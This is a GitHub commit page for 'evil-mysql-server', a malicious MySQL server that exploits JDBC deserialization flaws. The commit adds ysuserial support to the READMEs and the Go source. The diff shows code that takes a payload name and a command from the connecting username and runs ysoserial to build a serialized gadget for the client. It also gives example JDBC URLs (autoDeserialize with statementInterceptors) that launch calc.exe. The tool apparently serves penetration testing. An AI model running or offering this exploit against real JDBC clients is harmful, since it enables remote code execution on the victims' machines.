Skip to content

Commit 63d769f

Browse files
author
dushixiang
committed
support ysuserial, fixed #1
1 parent a82f529 commit 63d769f

File tree

3 files changed

+43
-5
lines changed

3 files changed

+43
-5
lines changed

README-zh_CN.md

Lines changed: 16 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,22 +4,36 @@
44

55
## 简介
66

7-
**evil-mysql-server** 是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 [ysoserial](https://github.com/frohoff/ysoserial)
7+
**evil-mysql-server** 是一个针对 jdbc 反序列化漏洞编写的恶意数据库,依赖 ysoserial 。
88

99
使用方式
1010

11+
[ysoserial](https://github.com/frohoff/ysoserial)
12+
1113
```shell
1214
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-0.0.6-SNAPSHOT-all.jar
1315
```
1416

17+
启动成功后,使用 jdbc 进行连接,其中用户名称格式为 `yso_payload_command` , 连接成功后 `evil-mysql-server` 会解析用户名称,并使用如以下命令生成恶意数据返回到 jdbc 客户端。
18+
```shell
19+
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe
20+
```
21+
22+
[ysuserial](https://github.com/su18/ysoserial) 这是一个基于原始ysoserial的增强项目。
23+
24+
```shell
25+
./evil-mysql-server -addr 3306 -java java -ysuserial ysuserial-0.9-su18-all.jar
26+
```
1527

1628
启动成功后,使用 jdbc 进行连接,其中用户名称格式为 `yso_payload_command` , 连接成功后 `evil-mysql-server` 会解析用户名称,并使用如以下命令生成恶意数据返回到 jdbc 客户端。
1729
```shell
18-
java -jar ysoserial.jar CommonsCollections1 calc.exe
30+
java -jar ysuserial-0.9-su18-all.jar -g CommonsCollections1 -p calc.exe
1931
```
2032

2133
## JDBC url 示例
2234

35+
> 使用 ysuserial 时请修改username的前三个字符为 **ysu**
36+
2337
**5.1.11-5.x**
2438
```shell
2539
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections1_calc.exe

README.MD

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,14 +8,28 @@ English | [简体中文](./README-zh_CN.md)
88

99
Usage
1010

11+
[ysoserial](https://github.com/frohoff/ysoserial)
12+
1113
```shell
1214
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-0.0.6-SNAPSHOT-all.jar
1315
```
1416

1517
After successful startup use jdbc to connect, where the username format is `yso_payload_command`, after successful connection **evil-mysql-server** will parse the username and generate malicious data back to the jdbc client using the following command.
1618

1719
```shell
18-
java -jar ysoserial.jar CommonsCollections1 calc.exe
20+
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 calc.exe
21+
```
22+
23+
[ysuserial](https://github.com/su18/ysoserial) It's an enhanced project based on original ysoserial.
24+
25+
```shell
26+
./evil-mysql-server -addr 3306 -java java -ysuserial ysuserial-0.9-su18-all.jar
27+
```
28+
29+
After successful startup use jdbc to connect, where the username format is `ysu_payload_command`, after successful connection **evil-mysql-server** will parse the username and generate malicious data back to the jdbc client using the following command.
30+
31+
```shell
32+
java -jar ysuserial-0.9-su18-all.jar -g CommonsCollections1 -p calc.exe
1933
```
2034

2135
## JDBC url examples

evil-mysql-server.go

Lines changed: 12 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ const Version = "v0.0.1"
1919
var addr = flag.String("addr", "0.0.0.0:3306", "listen addr")
2020
var javaBinPath = flag.String("java", "java", "java bin path")
2121
var ysoserialPath = flag.String("ysoserial", "ysoserial-0.0.6-SNAPSHOT-all.jar", "ysoserial bin path")
22+
var ysuserialPath = flag.String("ysuserial", "ysuserial-0.9-su18-all.jar", "ysuserial bin path")
2223

2324
func init() {
2425
flag.Parse()
@@ -200,7 +201,9 @@ func handleAccept(conn net.Conn) {
200201
if requestQuery.Command == 3 {
201202
log.Printf("[-] request query statement: %s\n", requestQuery.Statement)
202203
if strings.Contains(requestQuery.Statement, "SHOW SESSION STATUS") {
203-
if !strings.HasPrefix(username, "yso") {
204+
useYso := strings.HasPrefix(username, "yso")
205+
useYsu := strings.HasPrefix(username, "ysu")
206+
if !useYso && !useYsu {
204207
return
205208
}
206209
params := strings.Split(username, "_")
@@ -211,7 +214,14 @@ func handleAccept(conn net.Conn) {
211214
payload := params[1]
212215
command := params[2]
213216

214-
cmd := exec.Command(*javaBinPath, "-jar", *ysoserialPath, payload, command)
217+
var cmd *exec.Cmd
218+
if useYso {
219+
cmd = exec.Command(*javaBinPath, "-jar", *ysoserialPath, payload, command)
220+
} else if useYsu {
221+
cmd = exec.Command(*javaBinPath, "-jar", *ysuserialPath, "-g", payload, "-p", command)
222+
}
223+
224+
log.Printf("[-] exec: %s\n", cmd.String())
215225
poc, err := cmd.CombinedOutput()
216226
if err != nil {
217227
log.Printf("[x] gen ysoserial poc error : %s\n", err.Error())

0 commit comments

Comments
 (0)